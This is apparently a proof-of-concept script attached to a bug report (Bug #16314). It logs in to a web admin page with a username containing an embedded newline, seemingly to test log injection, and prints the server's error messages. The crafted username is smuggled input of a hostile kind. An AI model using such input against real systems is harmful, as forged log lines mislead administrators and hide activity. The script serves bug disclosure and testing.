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Bug #16314 » poc-usernamelog.py

Jim Pingle, 07/17/2025 06:28 PM

 
#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup

baseurl = 'https://198.51.100.129'

target = baseurl + '/index.php'

login_data = {
'login' : 'Login',
'usernamefld' : 'admin\nblah',
'passwordfld' : 'somewrongpassword',
}

headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'}

with requests.Session() as s:
# Fetch CSRF token from login page
r = s.get(baseurl, headers=headers, verify=False)

soup = BeautifulSoup(r.text, 'lxml')
login_data['__csrf_magic'] = soup.find('input', attrs = { 'name' : '__csrf_magic' })['value']

# Login
r = s.post(baseurl, data=login_data, headers=headers)

# Dump input errors from response
soup = BeautifulSoup(r.text, 'lxml')
input_errors = [errors.text for errors in soup.select('div.input-errors ul li')]
if (input_errors):
print("Input errors:\n")
for ie in input_errors:
print("* " + ie + "\n")

print('Done')
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